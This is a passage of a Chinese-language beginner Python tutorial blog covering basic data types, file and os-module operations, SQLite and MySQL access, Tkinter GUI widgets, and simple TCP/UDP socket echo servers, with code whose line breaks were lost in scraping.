#输出字符串 print(str[0:-1]) #输出第一个到倒数第二个的所有字符 print(str[0]) #输出第一个字符 print(str[2:5]) #输出从第三个开始到第五个的字符 print(str[2:]) #输出从第三个开始后的所有字符 print(str* 2) #输出字符串两次 print(str +'你好') #连接字符串 print('-------------------------') print('hello\\ AnQuanNiu') #使用反斜杠(\\)+n转义特殊字符 print(r'hello\\AnQuanNiu') #在字符电前面添加一个r,表示原始字符串,不会发生转义 空值 12345在Python中,可直接用True和False表示布尔值,也可通过布尔运算计算出来 print(True)True print(False)False print(3>2)ture print(3>5)False 类型转换以下几个内置的函数可以执行数据类型之间的转换.这些函数返回一个新的对象,表示转换的值. 函数 描述 int(x [,base]) 将x转换为一个整数 float(x) 将x转换到一个浮点数 complex(real [,imag]) 创建一个复数 str(x) 将对象 x 转换为字符串 repr(x) 将对象 x 转换为表达式字符串 eval(str) 用来计算在字符串中的有效Python表达式,并返回一个对象 tuple(s) 将序列 s 转换为一个元组 list(s) 将序列 s 转换为一个列表 set(s) 转换为可变集合 dict(d) 创建一个字典.d 必须是一个 (key, value)元组序列. frozenset(s) 转换为不可变集合 chr(x) 将一个整数转换为一个字符 ord(x) 将一个字符转换为它的整数值 hex(x) 将一个整数转换为一个十六进制字符串 oct(x) 将一个整数转换为一个八进制字符串 输入与输出 Print输出 print默认输出是换行的,如果要实现不换行需要在变量末尾加上end=”” Input输入 input(" 按下enter 键后退出.") 变量变量在程序中用一个变量名表示,变量名必须是字母、数字和下划线的组合,且不能以数字开头 123456789n = 1#变量n是一个整数a=1.0 #变量a是一个浮点数str ='Hello world!' #变量str是一个字符串question = True #变量question是一个布尔值可以把一个变量a赋值给另一个变量b,这个操作实际上是把变量b指向a所指向的数据,如a ='ABC'b= aa ='XYZ'print(b) 常量在Python中,通常用全部大写的变量名表示常量 123如: Pl= 3.1415926 注:用全部大写的变量名表示常量只是一个习惯上的用法 多行语句Python通常是一行写完一条语句,但如果语句很长,我们可以使用反斜杠()来实现多行语句,例如: 12345total = 'item_one' +\\ 'item_two' +\\ 'item_three'在[],{},或()中的多行语句,不需要使用反斜杠(\\),例如:total = ['item_one','item_two','item_three','item_four','item_five'] 格式化字符串与编码格式化字符串 python格式化字符串的使用方式类似于C语言,使用占位符来格式化字符串 12345678910111213141516171819202122232425 输出print('Hello,%s!'%'world') Hello , world!name ='Ming' age = 23print("Hello , %s.You are %s." %(name, age)) Hello,Ming.You are 23.常用占位符 占位符 替换内容 %d 整数 %f 浮点数 %s 字符串 %x 十六进制整数python常见的几种格式化字符串有r字符串、b字符串、f字符串. f字符串从Python 3.6开始加入标准库,也被称为"格式化字符串文字".与其他格式化方式相比,它们不仅更易读,更简洁,不易出错,而且速度更快 输出name = 'XiaoMing'age = 23print(f'Hello,{name}.You are {age}.') Hello ,XiaoMing.You are 23.print(f'Hello,{name}.You are {age}.') Hello , XiaoMing.You are 23.注:f字符串是在运行时进行渲染的,因此可以将任何有效的Python表达式放入其中编码当Python解释器读取源码时,为了让它按UTF-8编码读取,通常在文件开头处写上这两行:#!/usr/bin/env python3#-*- coding: utf-8-*-第一行是为了告诉Linux/OSx系统,这是一个Python可执行程序,Windows系统会忽略这个注释;第二行是为了告诉Python解释器,按照UTF-8编码读取源码.否则,源码中写的中文在输出时可能会有乱码. 列表 ​\t列表(list):列表由一组元素组成.每个元素可以存储不同类型的数据,如字符串、数字甚至元素. ​\t列表可以实现添加、删除和查找操作,元素的值可以被修改. ​\t列表是传统意义上的数组 列表用”[]”标识 123456789101112131415# 列表创建示例如下:list = ["test1",786,2.23,"test2",70.2]tinylist = [123,'test3']print (list) #输出完整列表print (list[0]) #输出列表的第一个元素print (list[1:3]) #输出第二个至第三个元素print (list[2:]) #输出从第三个开始至列表末尾的所有元素print (tinylist* 2) #输出列表两次print (list+ tinylist) #打印组合的列表tinylist.append(6) #将6添加到tinylist列表中print(tinylist)del tinylist[-1] #删除最后一个元素print(tinylist)tinylist[1]=6 #将下标为1的列表内容替换为6print(tinylist) 元组 ​\t元组(tuple)︰元组是另一个数据类型,类似于List(列表).元组往往代表一行数据,而元组中的元素代表不同的数据项. 可以把元组看做不可修改的数组_.元组用”()”标识 1234567891011# 创建元组示例如下:tuple_str=("你好",23,3.32)print (tuple) #输出完整元组 print (tuple[0] ) #输出元组的第一个元素 print (tuple[1:3]) #输出第二个至第四个(不包含)的元素 print (tuple[2:]) #输出从第三个开始至列表末尾的所有元素 print (tinytuple* 2) #输出元组两次 print (tuple + tinytuple) #打印组合的元组 tuple2 = tuple + tinytuple print(tuple2) del tuple2 #删除元组 字典 ​\t字典(dictionary) : python之中字典(dictionary)是除列表以外最灵活的内置数据结构类型. ​\t列表是有序的对象集合,字典是无序的对象集合. 两者之间的区别在于:字典当中的元素是通过键来存取 的,而不是通过偏移存取. 字典用”{}”标识.字典由索引(key)和它对应的值value组成. 123456789101112131415161718# 创建示例如下dict= {}dict['one'] = "This is one"dict[2]= "This is two"tinydict = {'name' : 'anguanniu','code':9527,'dept': 'sales'}print (dict['one']) #输出键为'one'的值print (dict[2]) #输出键为2的值print (tinydict) #输出完整的字典print (tinydict.keys()) #输出所有键print (tinydict.values()) #输出所有值tinydict['name'] = 'test' #将name的值修改为testprint(tinydict['name'])del tinydict['name'] #删除name的值print(tinydict)tinydict.clear() #清空tintdict字典print(tinydict)print(dict.keys())print(dict.values()) 集合 ​\t集合(set)是一个无序的不重复元素序列.可以使用大括号{}或者set()函数创建集合,注意:创建一个空集合必须用set()而不是{},因为{}是用来创建一个空字典. 12345678910111213141516171819202122232425# 创建示例如下:set1 = {'zhangsan','lisi','wanger' ,'wanger'}print(set1) # 这里演示的是去重功能a = 'zhangsan' in set1 #快速判断元素是否在集合内print(a)b = 'sdfsdf' in set1print(b)#下面展示两个集合间的运算c = set('abcd')print(c)d = set('abcdefg')print(d)print(c-d) #集合c中包含而集合d中不包含的元素print(d-c) #集合d中包含而集合c中不包含的元素print(c|d) #集合c或d中包含的所有元素print(c&d) #集合c和d中都包含了的元素print(c^d) #不同时包含于c和d的元素thisset = set(("BaiDu","TenXun","TaoBao"))print(thisset)thisset.add("XiaoMi") #将XiaoMi添加到thisset集合中print(thisset)thisset.remove("XiaoMi") ##将XiaoMi移除print(thisset)thisset.clear() #清空集合print(thisset) 条件结构if else12345#如果满足条件condition_1,则执行代码块statement_block_1否则执行statement_block_2if condition_1: statement_block_1else: statement_block_2 else if1234567891011if condition_1: statement_block_1elif condition_2: statement_block_2else: statement_block_3注意:1.Python中用elif代替了else if,所以if语句的关键字为: if-elif-else2.每个条件后面要使用冒号:,表示接下来是满足条件后要执行的语句块.3.使用缩进来划分语句块,相同缩进数的语句在一起组成一个语句块.4.在Python中没有switch - case语句. 循环结构1234for循环(9*9乘法口决表)for i in range(1,10): for j in range(1,i+1): print(j,'*',i,'=',(j*i),end='\\t') 函数函数的定义1234567891011121314151617定义语法def\tdef 函数名(参数列表) 函数体函数的参数 函数的参数是指,我们在定义函数的时候,可以传输数据进来,传输的数据就叫参数.函数的调用写函数名字,括号中带要处理的参数例子: dec(1,2)函数中的return与输出不一样,只允许return一个返回值(有多个则返回第一个)输出可以输出很多语句注意,必须按照缩进来写函数例子: def dec (a,b) return a-b 一个函数的参数可以是多个的,或者不带参数的 例子: def output() : def plus (a,b) :def plus (a,b,c)函数的参数输入,可以通过外部输入修改赋值顺序例子: def plus (a,b):调用: plus(b=1,a=2) 内置函数1234567891011type() :读取函数的变量类型int()∶将参数变量类型修改为整型float ()∶将参数变量的类型修改为浮点型str():将参数变量的类型修改为字符串类型max ()︰取参数的最大值min()∶取参数的最小值abs () ︰取参数的绝对值sum ()︰取参数的总和值round ():取参数的小数长度x**y: x的y次方,等同于pow (x,y)函数len()∶计算参数中有多少字符 标准模块和第三方模块12345# 自带模块sys time os calendar urllib json re math decimal shutil logging tkinter#第三方模块pymysql cx_Oracle pygame PIL xlrd xlwt selenium numpy 异常和程序调试1234567891011try: 程序执行语句块# 捕获所有错误except Exception as e: 异常处理语句块else: 无异常时处理语句块finally: 必须的处理语句块 例如: mysql.close() 异常 说明 AttributeError 试图访问一个对象没有的属性 IOError 输入/输出异常 ImportError 无法引入模块或包;多是路径问题或名称错误 IndentationError 缩进错误 IndexError 下标索引错误 KeyError 试图访问不存在的键 KeyboardInterrupt Ctrl+C被按下,键盘终止输入 NameError 使用未定义的变量 SyntaxError 语法错误 TypeError 传入对象的类型与要求不符合 UnboundLocalError 试图访问一个还未被设置的局部变量 ValueError 传入一个调用者不期望的值,即使值的类型是正确的 文件和目录操作文件与持久化常用的文件分类 配置文件 数据文件 日志文件 数据库文件 声音和图像文件 文件的读写 **相对路径:**以引用文件之网页所在位置为参考基础,而建立出的目录路径.因此,当保存于不同目录的网页引用同一个文件时,所使用的路径将不相同,故称之为相对. **绝对路径:**以Web 站点根目录为参考基础的目录路径.之所以称为绝对,意指当所有网页引用同一个文件时,所使用的路径都是一样的.其实绝对路径与相对路径的不同处,只在于描述目录路径时,所采用的参考点不同.由于对网站上所有文件而言,根目录这个参考点对所有文件都是一样的,因此,运用以根目录为参考点的路径描述方式才会被称之为绝对路径 1234567891011121314151617181920212223242526272829303132# 文件读取的过程: 1.打开文件 2.读取文件 3.关闭文件# r:read# w:write 默认只写的话会清空文档已有的内容# a+:读写# r+ 如果文件不存在则会报错# w+ 如果文件不存在则会创建文件# rb 以二进制格式打开一个文件用于只读# "." -- 代表目前所在的目录,相对路径. 如:<a href="./abc">文本</a> 或 <img src="./abc" /># ".." -- 代表上一层目录,相对路径. 如:<a href="../abc">文本</a> 或 <img src="../abc" /># "../../" -- 代表的是上一层目录的上一层目录,相对路径. 如:<img src="../../abc" /># "/" -- 代表根目录,绝对路径. 如:<a href="/abc">文本</a> 或 <img src="/abc" /># "D:/abc/" -- 代表根目录,绝对路径.with open('./data.txt', 'r') as file: # 带参read,只读5个字符 print(file.read(5)) # 打开文档从第6个字符开始读 # file.seek(6) # print(file.read(6)) # 打印当前文件是否可读.成功为True 反之False print(file.readable()) # 打印当前文件是否可写.成功为True 反之False print(file.writable()) # 读取所有行 datas = file.readlines() # datas是列表 print(type(datas)) print(datas) # 使用遍历列表的方法读取 for data in datas: # 打印读取的每一行 文本文档默认有 换行符,我们使用replace将换行符替换为空字符串 print(data.replace(' ', '')) 常用配置文件的读取123456789mysql.config: # this is database config filedb_Ip=127.0.0.1db_Port=3306db_Name=testdb_User=rootdb_Password=root# config end 12345678910111213141516171819MysqlConfig.py: ConfigData = {}with open('./mysql.config', 'r') as file: # 读取所有行 datas = file.readlines() for data in datas: # 如果数据为#开头则表示为注释,不进行读取 if data.startswith('#'): continue key = data.split('=')[0] value = data.split('=')[1].replace(' ', '') ConfigData[key] = valueif __name__ == '__main__': print(ConfigData) 1234567891011test.py# 如果想从其他文件中引入MysqlConfig可以使用引入方式#引入ch15文件夹下的MysqlConfig.py文件中的MysqlConfig变量from ch15.MysqlConfig import ConfigDataprint(ConfigData)print('数据库IP:', ConfigData['db_Ip'])print('数据库端口:', ConfigData['db_Port'])print('数据表名称:', ConfigData['db_Name'])print('数据库用户:', ConfigData['db_User'])print('数据库密码:', ConfigData['db_Password']) 文件的写入1234567891011121314151617181920212223242526# 默认的write是不会换行的# w:write 覆盖,每次写入都会清空后再写入# a:add 追加with open('./data_Write.txt', 'w') as file: # #单行写入 # data = 'hello python' # file.write(data) # data = 'i am JiangJiYue' # file.write(data) # 多行写入 datas = ['hello python', 'i am JiangJiYue', 'jiangjiyue.github.io'] # 使用推导式在每一行后面添加换行符但是会造成总是在最后空一行 file.writelines([data+' ' for data in datas]) # 字符串连接方式,不会造成最后总是空一行 # file.writelines(' '.join(datas))with open('./data_Write.txt', 'a') as file: # #单行写入 # data = 'hello python' # file.write(data) # data = 'i am JiangJiYue' # file.write(data) # 多行写入 datas = ['hello python', 'i am JiangJiYue', 'jiangjiyue.github.io'] # 使用推导式在每一行后面添加换行符但是会造成总是在最后空一行 file.writelines([data+' ' for data in datas]) 字符编码问题123456789101112131415# 解决中文编码问题# 机写机读没问题with open('encoding.txt', 'w') as file: file.write('人生苦短,我用Python')with open('encoding.txt', 'r') as file: print(file.readline())# 手写机读就会出现编码错误with open('encoding_cn.txt', 'r') as file: print(file.readline()) 目录及其他操作os常用方法 方法 描述 os.access(path, mode) 检验权限模式 os.chdir(path) 改变当前工作目录 os.chflags(path, flags) 设置路径的标记为数字标记. os.chmod(path, mode) 更改权限 os.chown(path, uid, gid) 更改文件所有者 os.chroot(path) 改变当前进程的根目录 os.close(fd) 关闭文件描述符 fd os.closerange(fd_low, fd_high) 关闭所有文件描述符,从 fd_low (包含) 到 fd_high (不包含), 错误会忽略 os.dup(fd) 复制文件描述符 fd os.dup2(fd, fd2) 将一个文件描述符 fd 复制到另一个 fd2 os.fchdir(fd) 通过文件描述符改变当前工作目录 os.fchmod(fd, mode) 改变一个文件的访问权限,该文件由参数fd指定,参数mode是Unix下的文件访问权限. os.fchown(fd, uid, gid) 修改一个文件的所有权,这个函数修改一个文件的用户ID和用户组ID,该文件由文件描述符fd指定. os.fdatasync(fd) 强制将文件写入磁盘,该文件由文件描述符fd指定,但是不强制更新文件的状态信息. [os.fdopen(fd[, mode[, bufsize]])](https://www.runoob.com/python/os-fdopen.html) 通过文件描述符 fd 创建一个文件对象,并返回这个文件对象 os.fpathconf(fd, name) 返回一个打开的文件的系统配置信息.name为检索的系统配置的值,它也许是一个定义系统值的字符串,这些名字在很多标准中指定(POSIX.1, Unix 95, Unix 98, 和其它). os.fstat(fd) 返回文件描述符fd的状态,像stat(). os.fstatvfs(fd) 返回包含文件描述符fd的文件的文件系统的信息,像 statvfs() os.fsync(fd) 强制将文件描述符为fd的文件写入硬盘. os.ftruncate(fd, length) 裁剪文件描述符fd对应的文件, 所以它最大不能超过文件大小. os.getcwd() 返回当前工作目录 os.getcwdu() 返回一个当前工作目录的Unicode对象 os.isatty(fd) 如果文件描述符fd是打开的,同时与tty(-like)设备相连,则返回true, 否则False. os.lchflags(path, flags) 设置路径的标记为数字标记,类似 chflags(),但是没有软链接 os.lchmod(path, mode) 修改连接文件权限 os.lchown(path, uid, gid) 更改文件所有者,类似 chown,但是不追踪链接. os.link(src, dst) 创建硬链接,名为参数 dst,指向参数 src os.listdir(path) 返回path指定的文件夹包含的文件或文件夹的名字的列表. os.lseek(fd, pos, how) 设置文件描述符 fd当前位置为pos, how方式修改: SEEK_SET 或者 0 设置从文件开始的计算的pos; SEEK_CUR或者 1 则从当前位置计算; os.SEEK_END或者2则从文件尾部开始. 在unix,Windows中有效 os.lstat(path) 像stat(),但是没有软链接 os.major(device) 从原始的设备号中提取设备major号码 (使用stat中的st_dev或者st_rdev field). os.makedev(major, minor) 以major和minor设备号组成一个原始设备号 os.makedirs(path,mode) 递归文件夹创建函数.像mkdir(), 但创建的所有intermediate-level文件夹需要包含子文件夹. os.minor(device) 从原始的设备号中提取设备minor号码 (使用stat中的st_dev或者st_rdev field ). os.mkdir(path,[mode]) 以数字mode的mode创建一个名为path的文件夹.默认的 mode 是 0777 (八进制). os.mkfifo(path,[mode]) 创建命名管道,mode 为数字,默认为 0666 (八进制) os.mknod(filename,mode=0600,device) 创建一个名为filename文件系统节点(文件,设备特别文件或者命名pipe). os.open(file,flags,[mode]) 打开一个文件,并且设置需要的打开选项,mode参数是可选的 os.openpty() 打开一个新的伪终端对.返回 pty 和 tty的文件描述符. os.pathconf(path, name) 返回相关文件的系统配置信息. os.pipe() 创建一个管道. 返回一对文件描述符(r, w) 分别为读和写 [os.popen(command[, mode[, bufsize]])](https://www.runoob.com/python/os-popen.html) 从一个 command 打开一个管道 os.read(fd, n) 从文件描述符 fd 中读取最多 n 个字节,返回包含读取字节的字符串,文件描述符 fd对应文件已达到结尾, 返回一个空字符串. os.readlink(path) 返回软链接所指向的文件 os.remove(path) 删除路径为path的文件.如果path 是一个文件夹,将抛出OSError; 查看下面的rmdir()删除一个 directory. os.removedirs(path) 递归删除目录. os.rename(src, dst) 重命名文件或目录,从 src 到 dst os.renames(old, new) 递归地对目录进行更名,也可以对文件进行更名. os.rmdir(path) 删除path指定的空目录,如果目录非空,则抛出一个OSError异常. os.stat(path) 获取path指定的路径的信息,功能等同于C API中的stat()系统调用. os.stat_float_times(newvalue) 决定stat_result是否以float对象显示时间戳 os.statvfs(path) 获取指定路径的文件系统统计信息 os.symlink(src, dst) 创建一个软链接 os.tcgetpgrp(fd) 返回与终端fd(一个由os.open()返回的打开的文件描述符)关联的进程组 os.tcsetpgrp(fd, pg) 设置与终端fd(一个由os.open()返回的打开的文件描述符)关联的进程组为pg. [os.tempnam([dir[, prefix]])](https://www.runoob.com/python/os-tempnam.html) 返回唯一的路径名用于创建临时文件. os.tmpfile() 返回一个打开的模式为(w+b)的文件对象 .这文件对象没有文件夹入口,没有文件描述符,将会自动删除. os.tmpnam() 为创建一个临时文件返回一个唯一的路径 os.ttyname(fd) 返回一个字符串,它表示与文件描述符fd 关联的终端设备.如果fd 没有与终端设备关联,则引发一个异常. os.unlink(path) 删除文件路径 os.utime(path, times) 返回指定的path文件的访问和修改的时间. [os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])](https://www.runoob.com/python/os-walk.html ) 输出在文件夹中的文件名通过在树中游走,向上或者向下. os.write(fd, str) 写入字符串到文件描述符 fd中. 返回实际写入的字符串长度 os.path常用方法: 方法 说明 os.path.abspath(path) 返回绝对路径 os.path.basename(path) 返回文件名 os.path.commonprefix(list) 返回list(多个路径)中,所有path共有的最长的路径 os.path.dirname(path) 返回文件路径 os.path.exists(path) 如果路径 path 存在,返回 True;如果路径 path 不存在,返回 False. os.path.lexists 路径存在则返回True,路径损坏也返回True os.path.expanduser(path) 把path中包含的””和”user”转换成用户目录 os.path.expandvars(path) 根据环境变量的值替换path中包含的”{name}” os.path.getatime(path) 返回最近访问时间(浮点型秒数) os.path.getmtime(path) 返回最近文件修改时间 os.path.getctime(path) 返回文件 path 创建时间 os.path.getsize(path) 返回文件大小,如果文件不存在就返回错误 os.path.isabs(path) 判断是否为绝对路径 os.path.isfile(path) 判断路径是否为文件 os.path.isdir(path) 判断路径是否为目录 os.path.islink(path) 判断路径是否为链接 os.path.ismount(path) 判断路径是否为挂载点 os.path.join(path1[, path2[, …]]) 把目录和文件名合成一个路径 os.path.normcase(path) 转换path的大小写和斜杠 os.path.normpath(path) 规范path字符串形式 os.path.realpath(path) 返回path的真实路径 os.path.relpath(path[, start]) 从start开始计算相对路径 os.path.samefile(path1, path2) 判断目录或文件是否相同 os.path.sameopenfile(fp1, fp2) 判断fp1和fp2是否指向同一文件 os.path.samestat(stat1, stat2) 判断stat tuple stat1和stat2是否指向同一个文件 os.path.split(path) 把路径分割成 dirname 和 basename,返回一个元组 os.path.splitdrive(path) 一般用在 windows 下,返回驱动器名和路径组成的元组 os.path.splitext(path) 分割路径,返回路径名和文件扩展名的元组 os.path.splitunc(path) 把路径分割为加载点与文件 os.path.walk(path, visit, arg) 遍历path,进入每个目录都调用visit函数,visit函数必须有3个参数(arg, dirname, names),dirname表示当前目录的目录名,names代表当前目录下的所有文件名,args则为walk的第三个参数 os.path.supports_unicode_filenames 设置是否支持unicode路径名 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849# -*- coding:utf-8 -*-"""作者:kill3r日期:2022年06月10日Blog:jiangjiyue.github.io"""import osimport shutil# 判断data.txt是否存在print(os.path.exists('data.txt'))# 获取当前路径print(os.getcwd())dirpath = 'test'# 删除文件,删除不存在的文件会报错os.remove('1.txt')# 如果目录不存在则创建目录if not os.path.exists(dirpath): # 创建test目录 # os.mkdir不能创建多级目录, # print(os.mkdir(dirpath)) # 创建多级目录 os.makedirs(r'd:\\test3\\test')else: # 只能删除空目录,如果非空请使用shutil.rmtree os.rmdir(dirpath)if os.path.exists('test3'): # 删除非空目录 print('非空目录删除:', shutil.rmtree('test3'))datas = os.listdir((os.getcwd()))for data in datas: print(data)# 另一种强大遍历目录和文件的方法# 强烈推荐for files in os.walk(os.getcwd()): # 可以使用序列解包 print(files)for dirpath, subdirs, files in os.walk(os.getcwd()): for name in subdirs: print('目录:', os.path.join(dirpath,name)) for name in files: print('文件', os.path.join(dirpath, name)) 数据库操作数据库DataBase Database是按照数据结构来组织、存储和管理数据的仓库,它产生于距今六十多年前,随着信息技术和市场的发展,特别是二十世纪九十年代以后,数据管理不再仅仅是存储和管理数据,而转变成用户所需要的各种数据管理的方式.数据库有很多种类型,从最简单的存储有各种数据的表格到能够进行海量数据存储的大型数据库系统都在各个方面得到了广泛的应用. 在信息化社会,充分有效地管理和利用各类信息资源,是进行科学研究和决策管理的前提条件.数据库技术是管理信息系统、办公自动化系统、决策支持系统等各类信息系统的核心部分,是进行科学研究和决策管理的重要技术手段. https://jiangjiyue.github.io/categories/%E5%AE%89%E5%85%A8%E8%BF%90%E7%BB%B4/%E6%95%B0%E6%8D%AE%E5%BA%93/https://jiangjiyue.github.io/categories/%E5%AE%89%E5%85%A8%E8%BF%90%E7%BB%B4/%E6%95%B0%E6%8D%AE%E5%BA%93/ 数据库编程接口12# Python DataBase API 2.0# 连接、事务(提交、回滚)、游标 SQLite123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113# -*- coding:utf-8 -*-"""作者:kali日期:2022年06月10日Blog:jiangjiyue.github.io"""# sqliteimport sqlite3# 1.连接数据库 2.拿到游标 3.执行sql 4.关闭游标 5.关闭数据库的连接def createtable(): # 连接数据库 conn = sqlite3.connect('sqlite.db') # 拿到游标 cursor = conn.cursor() # 执行sql # 创建数据表,只需运行一次 sql_str = 'create table sqlite (id int(11) primary key ,name varchar(50))' cursor.execute(sql_str) # 关闭游标&连接 cursor.close() conn.close()def insertsqlite(): # 连接数据库 conn = sqlite3.connect('sqlite.db') # 拿到游标 cursor = conn.cursor() # 执行sql sql_str = 'insert into sqlite (id,name) values(1,"kali")' cursor.execute(sql_str) # 关闭游标&连接 cursor.close() # 数据库提交,才会写入,创建表不需要conn.commit conn.commit() conn.close()def selectsqlite(): # 连接数据库 conn = sqlite3.connect('sqlite.db') # 拿到游标 cursor = conn.cursor() sql_str = 'select * from sqlite' cursor.execute(sql_str) # 获取结果 """ fetchall 获取所有数据 return list fetchone 获取一行数据 """ result = cursor.fetchone() print(result) cursor.close() conn.commit() conn.close()def updatesqlite(): # 连接数据库 conn = sqlite3.connect('sqlite.db') # 拿到游标 cursor = conn.cursor() sql_str = 'update sqlite set name="kali" where id = 1' cursor.execute(sql_str) cursor.close() conn.commit() conn.close()def delsqlite(): # 连接数据库 conn = sqlite3.connect('sqlite.db') # 拿到游标 cursor = conn.cursor() sql_str = 'delete from sqlite where id = 1' cursor.execute(sql_str) cursor.close() conn.commit() conn.close()# 数据捕获错误实例def caputeerror(): try: # 连接数据库 conn = sqlite3.connect('sqlite.db') # 拿到游标 cursor = conn.cursor() # 执行sql sql_str = 'insert into sqlite (id,name) values(1,"kali")' cursor.execute(sql_str) except Exception as e: # 事务回滚 conn.rollback() else: # 数据库提交,才会写入,创建表不需要conn.commit conn.commit() finally: # 关闭游标&连接 cursor.close() conn.close()if __name__ == '__main__': # 查询数据函数 selectsqlite() # 更新数据函数 updatesqlite() selectsqlite() delsqlite() selectsqlite() MySqlpip install pymysql安装mysql扩展 1234567891011121314151617181920212223242526272829303132333435# -*- coding:utf-8 -*-"""作者:kali日期:2022年06月10日Blog:jiangjiyue.github.io"""import pymysqldef selectmysql(): db_ip = '192.168.1.10' db_port = 3306 db_name = 'pycourse' db_user = 'pycourse' db_password = 'pycourse' # 连接数据库 conn = pymysql.connect(host=db_ip,port=db_port,database=db_name,user=db_user,password=db_password) # 拿到游标 cursor = conn.cursor() sql_str = 'select * from pycourse' cursor.execute(sql_str) # 获取结果 """ fetchall 获取所有数据 return list fetchone 获取一行数据 """ result = cursor.fetchone() print(result) cursor.close() conn.commit() conn.close()if __name__ == '__main__': selectmysql() GUI图形用户接口GUI简介 图形用户界面(Graphical User Interface,简称 GUI,又称图形用户接口)是指采用图形方式显示的计算机操作用户界面 图形用户界面是一种人与计算机通信的界面显示格式,允许用户使用鼠标等输入设备操纵屏幕上的图标或菜单选项,以选择命令、调用文件、启动程序或执行其它一些日常任务.与通过键盘输入文本或字符命令来完成例行任务的字符界面相比,图形用户界面有许多优点.图形用户界面由窗口、下拉菜单、对话框及其相应的控制机制构成,在各种新式应用程序中都是标准化的,即相同的操作总是以同样的方式来完成,在图形用户界面,用户看到和操作的都是图形对象,应用的是计算机图形学的技术. https://sunhwee.com/posts/80fa3a85.htmlhttps://sunhwee.com/posts/80fa3a85.html Tkinter的基本用法1234567891011121314151617181920# tk简介# -*- coding:utf-8 -*-"""作者:kali日期:2022年06月11日Blog:jiangjiyue.github.io"""from tkinter import *# 实例化对象window = Tk()# 窗口标题window.title('欢迎来到tk')# 宽度x高度+x偏移量+y偏移量window.geometry('400x200+400+200')window.mainloop() 12345678910111213141516171819202122232425262728293031323334# Label# -*- coding:utf-8 -*-"""作者:kali日期:2022年06月11日Blog:jiangjiyue.github.io"""from tkinter import *window = Tk()window.title('控件')window.geometry('600x400+400+200')# 控件一 标签 Label# height单位为行 width单位为字符inputLabel = Label(window, text='人生苦短,我用Python', bg='red', font='微软雅黑 12 normal', height=2,)inputLabel.pack(padx=5, pady=10)inputLabel2 = Label(window, text='人生苦短,我用Python2', bg='lightyellow', font='微软雅黑 12 normal', height=2,)inputLabel2.pack(padx=5, pady=10)# 标签水平填充 fill=XinputLabel3 = Label(window, text='标签水平方向填充', bg='red', font='微软雅黑 12 normal', height=2,)inputLabel3.pack(padx=5, pady=10, fill=X)# 标签水平填充+垂直填充 fill=BOTH, expand=TrueinputLabel3 = Label(window, text='水平填充+垂直填充', bg='lightgreen', font='微软雅黑 12 normal', height=2,)inputLabel3.pack(padx=5, pady=10, fill=BOTH, expand=True)window.mainloop() 123456789101112131415161718192021222324252627282930313233343536373839404142# Input# -*- coding:utf-8 -*-"""作者:kali日期:2022年06月11日Blog:jiangjiyue.github.io"""from tkinter import *window = Tk()def test_btn(): outputVar.set(inputVar.get()) print(inputVar.get())window.title('控件')window.geometry('600x400+400+200')# 容器 布局方法 pack() grid() place()topFrame = Frame()# height单位为行 width单位为字符inputLabel = Label(topFrame, text='请输入网址:', )inputLabel.pack(side=LEFT, padx=5)inputVar = StringVar()inputEntry = Entry(topFrame, textvariable=inputVar)inputEntry.pack(side=LEFT, padx=10)inputButton = Button(topFrame, text='按钮', command=test_btn)inputButton.pack(side=LEFT, pady=10)topFrame.pack(pady=10)outputVar = StringVar()outputLabel = Label(window, textvariable=outputVar, fg='green')outputLabel.pack()window.mainloop() Socket网络编程Socket套接字 套接字(Socket),就是对网络中不同主机上的应用进程之间进行双向通信的端点的抽象.一个套接字就是网络上进程通信的一端,提供了应用层进程利用网络协议交换数据的机制.从所处的地位来讲,套接字上联应用进程,下联网络协议栈,是应用程序通过网络协议进行通信的接口,是应用程序与网络协议栈进行交互的接口 socket模块的应用Tcp使用123456789101112131415161718192021222324252627282930313233343536# -*- coding:utf-8 -*-"""一对一模式PyNmae:socketServer作者:kali日期:2022年06月11日Blog:jiangjiyue.github.io"""import sockethostAddress = ('127.0.0.1', 8888)# 默认参数创建sk 使用Ipv4&TCP协议sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 绑定IP地址&Protsk.bind(hostAddress)# 监听sk.listen(5)print("启动socket服务,等待客户端连接...")# 阻塞 接收客户端的连接conn, clientAddress = sk.accept()while True: # 接收客户端发来的信息(bytes)需要解码 .decode()解码接收到的信息 data = conn.recv(1024).decode() if data: print('接收到客户端 %s 发送来的信息: %s' % (clientAddress, data)) # 将接收到的数据全部转换为大写并返回给客户端 res = data.upper() # res为str需要转换为bytes conn.sendall(res.encode()) if data == 'exit': print('客户端主动断开连接') break# 关闭socketconn.close() 12345678910111213141516171819202122232425262728# -*- coding:utf-8 -*-"""PyName:socketClient作者:kali日期:2022年06月11日Blog:jiangjiyue.github.io"""import socketserverAddress = ('127.0.0.1', 8888)sk = socket.socket()# 与服务器创建连接sk.connect(serverAddress)while True: dataStr = input('发送内容:').strip() # 向服务器发送消息 sk.send(dataStr.encode()) if dataStr == 'exit': print('客户端退出连接') break answer = sk.recv(1024).decode() print('收到服务器应答: %s' % answer)sk.close() 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748# 并发版,可有多个客户端# -*- coding:utf-8 -*-"""PyName:socketServer_upper作者:kali日期:2022年06月11日Blog:jiangjiyue.github.io"""import socketimport threadingdef deal(link, client): print('新线程开始处理客户端 %s:%s 的数据请求' % client) while True: # 接收客户端发来的信息(bytes)需要解码 .decode()解码接收到的信息 data = link.recv(1024).decode() if data: print('%s 发送来的信息: %s' % (client, data)) # 将接收到的数据全部转换为大写并返回给客户端 res = data.upper() # res为str需要转换为bytes link.sendall(res.encode()) if data == 'exit': print('%s:%s 客户端主动断开连接' % client) break # 关闭socket link.close()# 并发版hostAddress = ('127.0.0.1', 8888)# 默认参数创建sk 使用Ipv4&TCP协议sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 绑定IP地址&Protsk.bind(hostAddress)# 监听sk.listen(5)print("启动socket服务,等待客户端连接...")while True: # 阻塞 接收客户端的连接 conn, clientAddress = sk.accept() # 多线程并发 xd = threading.Thread(target=deal, args=(conn, clientAddress)) xd.start() Udp使用123456789101112131415161718192021222324# -*- coding:utf-8 -*-"""PyName:udp_Server作者:kali日期:2022年06月11日17时34分Blog:jiangjiyue.github.io"""import sockethostAddress = ('127.0.0.1', 8888)# SOCK_DGRAM使用UDP创建sk = socket.socket(socket.AF_INET, 